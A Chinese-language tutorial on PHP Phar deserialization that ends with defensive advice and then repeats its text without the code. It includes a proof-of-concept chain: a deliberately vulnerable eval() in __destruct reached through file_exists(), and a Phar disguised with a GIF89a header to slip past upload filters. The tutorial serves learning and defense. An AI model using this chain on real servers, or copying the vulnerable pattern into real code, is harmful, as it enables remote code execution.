初探phar://
字数 1581 2025-08-27 12:33:23

Phar协议反序列化漏洞深入分析与利用

1. 漏洞概述

Phar反序列化漏洞是由Secarma的安全研究员Sam Thomas在BlackHat会议上公开的一种新型PHP对象注入攻击方式。该漏洞可以在不使用unserialize()函数的前提下,通过PHP的流包装器(Stream Wrapper)机制实现反序列化操作,可能导致远程代码执行(RCE)。

2. 流包装器(Stream Wrapper)基础

PHP支持多种URL协议访问文件路径,常见的有:

  • data://
  • zlib://
  • php://
  • phar:// (本漏洞核心)

示例用法:

include('php://filter/read=convert.base64-encode/resource=index.php');
include('data://text/plain;base64,xxxxxxxxxxxx');

3. Phar文件结构解析

Phar文件本质上是一种压缩文件,包含以下关键部分:

  1. Stub:文件标识,格式为xxx<?php xxx;__HALT_COMPILER();?>,必须以__HALT_COMPILER();?>结尾
  2. Manifest:存储被压缩文件的权限、属性等信息
  3. 文件内容:实际压缩的文件数据
  4. 签名:文件签名(可选)

4. 漏洞核心原理

Phar文件的manifest部分会以序列化的形式存储用户自定义的meta-data。当使用phar://协议访问Phar文件时,PHP会自动反序列化这些meta-data,从而触发反序列化漏洞。

5. 创建Phar文件示例

<?php
class TestObject {
}

$phar = new Phar("phar.phar"); // 后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置stub

$o = new TestObject();
$o->data = 'hu3sky';
$phar->setMetadata($o); // 将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
?>

注意:需要将php.ini中的phar.readonly选项设置为Off才能生成Phar文件。

6. 受影响的文件系统函数

以下函数在通过phar://协议解析Phar文件时都会反序列化meta-data:

  • file_exists()
  • fopen()
  • file_get_contents()
  • file()
  • is_dir()
  • is_executable()
  • is_file()
  • is_link()
  • is_readable()
  • is_writable()
  • is_writeable()
  • parse_ini_file()
  • copy()
  • unlink()
  • stat()
  • readfile()

7. 漏洞触发示例

<?php
class TestObject {
    function __destruct() {
        echo $this->data; // 反序列化时触发
    }
}

include('phar://phar.phar'); // 触发反序列化
?>

8. 绕过上传限制的技巧

由于PHP仅通过__HALT_COMPILER();?>识别Phar文件,可以:

  1. 添加任意文件头(如GIF89a)
  2. 修改文件后缀名

示例:

$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>'); // 添加GIF文件头

这样生成的Phar文件可以伪装成GIF等格式绕过上传检测。

9. 完整漏洞利用流程

环境准备

  1. 上传页面 (upload_file.php):
<?php
if (($_FILES["file"]["type"]=="image/gif") && 
    (substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.') + 1) == 'gif')) {
    // 上传处理逻辑
} else {
    echo "Invalid file, you can only upload gif";
}
?>
  1. 存在漏洞的文件 (file_un.php):
<?php
$filename = $_GET['filename'];

class AnyClass {
    var $output = 'echo "ok";';
    function __destruct() {
        eval($this->output); // 危险的反序列化点
    }
}

file_exists($filename); // 触发点
?>

利用步骤

  1. 生成恶意Phar文件:
<?php
class AnyClass {
    var $output = 'phpinfo();'; // 要执行的代码
}

$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt', 'test');
$object = new AnyClass();
$phar->setMetadata($object);
$phar->stopBuffering();
?>
  1. 将生成的phar.phar重命名为phar.gif
  2. 通过上传表单上传phar.gif
  3. 访问漏洞点:file_un.php?filename=phar://upload_file/phar.gif

10. 漏洞利用条件

  1. Phar文件能够上传到服务器
  2. 存在可用的文件操作系统函数(如file_exists()等)
  3. 有可用的魔术方法作为"跳板"(如__destruct())
  4. 文件操作函数的参数可控,且:/phar等特殊字符未被过滤

11. 防御措施

  1. 在php.ini中设置phar.readonly=On(默认值)
  2. 禁用不必要的流包装器:allow_url_include=Off
  3. 严格检查上传文件内容而不仅是文件头和后缀
  4. 对用户控制的文件路径参数进行严格过滤
  5. 避免在魔术方法中执行危险操作

12. 总结

Phar反序列化漏洞扩展了PHP反序列化攻击面,使得即使没有直接的unserialize()调用,也可能通过文件操作函数实现对象注入。这种攻击方式隐蔽性强,能够绕过常规的上传检测,危害性高。开发人员应充分了解其原理并采取适当的防御措施。

Phar协议反序列化漏洞深入分析与利用 1. 漏洞概述 Phar反序列化漏洞是由Secarma的安全研究员Sam Thomas在BlackHat会议上公开的一种新型PHP对象注入攻击方式。该漏洞可以在不使用 unserialize() 函数的前提下,通过PHP的流包装器(Stream Wrapper)机制实现反序列化操作,可能导致远程代码执行(RCE)。 2. 流包装器(Stream Wrapper)基础 PHP支持多种URL协议访问文件路径,常见的有: data:// zlib:// php:// phar:// (本漏洞核心) 示例用法: 3. Phar文件结构解析 Phar文件本质上是一种压缩文件,包含以下关键部分: Stub :文件标识,格式为 xxx<?php xxx;__HALT_COMPILER();?> ,必须以 __HALT_COMPILER();?> 结尾 Manifest :存储被压缩文件的权限、属性等信息 文件内容 :实际压缩的文件数据 签名 :文件签名(可选) 4. 漏洞核心原理 Phar文件的manifest部分会以序列化的形式存储用户自定义的meta-data。当使用 phar:// 协议访问Phar文件时,PHP会自动反序列化这些meta-data,从而触发反序列化漏洞。 5. 创建Phar文件示例 注意 :需要将php.ini中的 phar.readonly 选项设置为Off才能生成Phar文件。 6. 受影响的文件系统函数 以下函数在通过 phar:// 协议解析Phar文件时都会反序列化meta-data: file_ exists() fopen() file_ get_ contents() file() is_ dir() is_ executable() is_ file() is_ link() is_ readable() is_ writable() is_ writeable() parse_ ini_ file() copy() unlink() stat() readfile() 7. 漏洞触发示例 8. 绕过上传限制的技巧 由于PHP仅通过 __HALT_COMPILER();?> 识别Phar文件,可以: 添加任意文件头(如GIF89a) 修改文件后缀名 示例: 这样生成的Phar文件可以伪装成GIF等格式绕过上传检测。 9. 完整漏洞利用流程 环境准备 上传页面 (upload_ file.php): 存在漏洞的文件 (file_ un.php): 利用步骤 生成恶意Phar文件: 将生成的phar.phar重命名为phar.gif 通过上传表单上传phar.gif 访问漏洞点: file_un.php?filename=phar://upload_file/phar.gif 10. 漏洞利用条件 Phar文件能够上传到服务器 存在可用的文件操作系统函数(如file_ exists()等) 有可用的魔术方法作为"跳板"(如__ destruct()) 文件操作函数的参数可控,且 : 、 / 、 phar 等特殊字符未被过滤 11. 防御措施 在php.ini中设置 phar.readonly=On (默认值) 禁用不必要的流包装器: allow_url_include=Off 严格检查上传文件内容而不仅是文件头和后缀 对用户控制的文件路径参数进行严格过滤 避免在魔术方法中执行危险操作 12. 总结 Phar反序列化漏洞扩展了PHP反序列化攻击面,使得即使没有直接的 unserialize() 调用,也可能通过文件操作函数实现对象注入。这种攻击方式隐蔽性强,能够绕过常规的上传检测,危害性高。开发人员应充分了解其原理并采取适当的防御措施。